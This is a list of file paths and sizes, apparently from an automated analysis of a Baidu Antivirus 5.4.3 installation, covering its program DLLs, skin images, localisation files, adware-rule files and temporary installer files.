%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree\menu_item_background.bmp (86 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\context\context.ini (418 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\arrow_disable.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\dl_safe_s.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1126.Hao123SearchRemovalTool.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\button_min_down.png (191 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\unlikeGray.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavOpenUnknownFile\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\summary_top_safe_custom.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkbox_unsel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1151.NinjaSavings.rul (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CrashReport.exe (5441 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\blue_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_icon_new.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\uTorrentBar.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\black_pop_suessfully.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\aboutus\about_us_cer.png (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\realtimeTips.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\progressbar\main.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\sgf.dat (419 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_7_slice_malware.png (61 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin\onaccess\lineH.png (995 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\arrow_botline.png (151 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\stepbar\doing.png (768 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bavuhp.dll (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\progress\loading_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\progress\loading.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\rss_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\WhiteSmokeToolBar.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1134.ooVoo.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkbox_nor_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\dl_threat.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_notify.bmp (205 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\feedback\skin\main-feedback_tittle.png (71 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\icon2N.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\language.ini (60 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\dl_safe_s.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\checkbox\check_sound_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_7_slice_browser_setup_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\gray_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\bg\long_blue_bg.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\popbg.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Antivirus\Plugin_Antivirus.dll (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\scrollbar\scrollbar_thumb_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\investigate_op_layout1_bg.png (44 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\install2Slice_27.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\menu\menu_icon_feedback.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavOpenUnknownFile\skin.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSu.dll (1789 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkbox_hot_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\free.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_off_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BETManger.dll (3702 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump\bugreportconfig.ini (295 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\progressbarBg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\investigate_op_layout3_bg.png (41 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\radiobox\radio_sel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Feedback.exe (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\button_close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Trust\res\skin\top_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_LogStatus\res\skin.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\feedback\skin\SUBMIT_bg2.png (64 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\btnH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\639C9925-1C42-4236-991B-AEAB22353808\ALLICON_05.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin\lockClosed.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\arrowdown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavShx.dll (255 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\auto_bg_red.png (31 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHAHHandler.dll (1656 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\checkbox\check_sound_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin3082.txt (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\bg.png (189 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ReportComm64.dll (1798 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\progressbar.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUpdater\skin\pu_reboot_title.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\investigate_op_layout3_bg.png (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\dl_threat_s.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkox_sel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_modifyhost.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavOpenUnknownFile\skin.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\MoboMarket_Setup_Mini_BAV_SDK.exe (6380 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\unloadInvestigateTitle_cry.png (30 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1236.uTorrentControl_v2.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_line.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\TopBtnDown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (37 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump\CrashReportModuleConf_Total.ini (21 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1244.systweak.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\StartNow.rul (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1064.Webblog.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_red_arrow_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1145.FreeSoundRecorder.rul (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\button_close_over.png (316 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\button\TrustBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\main_title_noprocess.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\main_title_noprocess.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin\safeicon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1051.SavingsApp.rul (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\red_btn_down.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1046.txt (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\protectSetDown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\VidSaver.rul (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\System.dll (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1237.uTorrentControl.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\arrowup.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\TopBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ReportCommRetry.exe (1792 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\unloadInvestigateTitle_cry.png (28 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\dl_threat.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavShx64.dll (310 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\language.ini (68 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\plugin\button_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsNetFlt.dll (3890 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\sw.dat (91 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\tip.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\logosmall1.png (69 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\unloadInvestigateTitle_cry.png (31 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\checkbox\uncheck_sound_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_danger.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\summary_top_safe_custom.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1063.SnapDo.rul (29 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1189.JollyWallet.rul (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\icon_scanning.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkox_unsel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\main_title_safe.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin.xml (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_submenu_bg.png (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_scan_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Download\res\skin\icon\scanning.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_feedback.png (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\main-feedback_bg.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\investigate_op_layout2_bg.png (26 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavCommon.dll (1674 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1247.cleaner.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\browserext\baidu-antivirus-anti-phishing-plugin.xpi (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkbox_unsel_nor.png (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstallUtility.log (5002 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\close_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1238.crawler.rul (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\DirectUI.dll (15021 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\detailDef.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\green_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\green_big_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\checkbox_sound_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavLib.dll (180 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\Unprocessed-threats-detected.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_advanced_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\ProcessFullScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\dl_safe.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin.xml (26 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnForum.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\feedback\skin\SUBMIT_bg2.png (65 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_tip_red.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\arrow.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\investigate_op_layout2_bg.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\RemovedTips.bskin (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_defense_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn_dl_animate.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sl.dat (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\investigate_op_layout4_bg.png (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_bg1.png (194 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1133.Mp3TubeToolbar.rul (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\scrollbarNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\big_green_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1113.SpyGuard.rul (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\foldN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_protect_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\npbdplugin.dll (1752 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavOpenUnknownFile\skin.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin.xml (60 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1105.FreeYoutubeDownload.rul (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\GuideSlice_6.png (92 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavScan.dll (275 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1179.FilesFrogUpdateChecker.rul (765 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\icon_failed.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\blue_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSk.dll (95 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\NetRepairTool.dll (3839 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavDllFilter.dll (1611 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\GuideSlice_6.png (95 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\closenormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\feedback\skin\main-feedback_tittle.png (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\pop_button_close_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\checkbox\uncheck_sound_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\SearchAmong.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1085.facesmooch.rul (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavClean.dll (132 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\green_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\main_title_unprotected.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\free.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\main_title_safe.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkbox_sel_hot.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\main_title_unprotected.png (4 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\InstallerR.ini (302 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\closeover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1140.BroderbundBar.rul (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\bg.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\DirectUI.dll (15506 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkbox_hot_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\homeLockTitleBg.png (1 bytes)
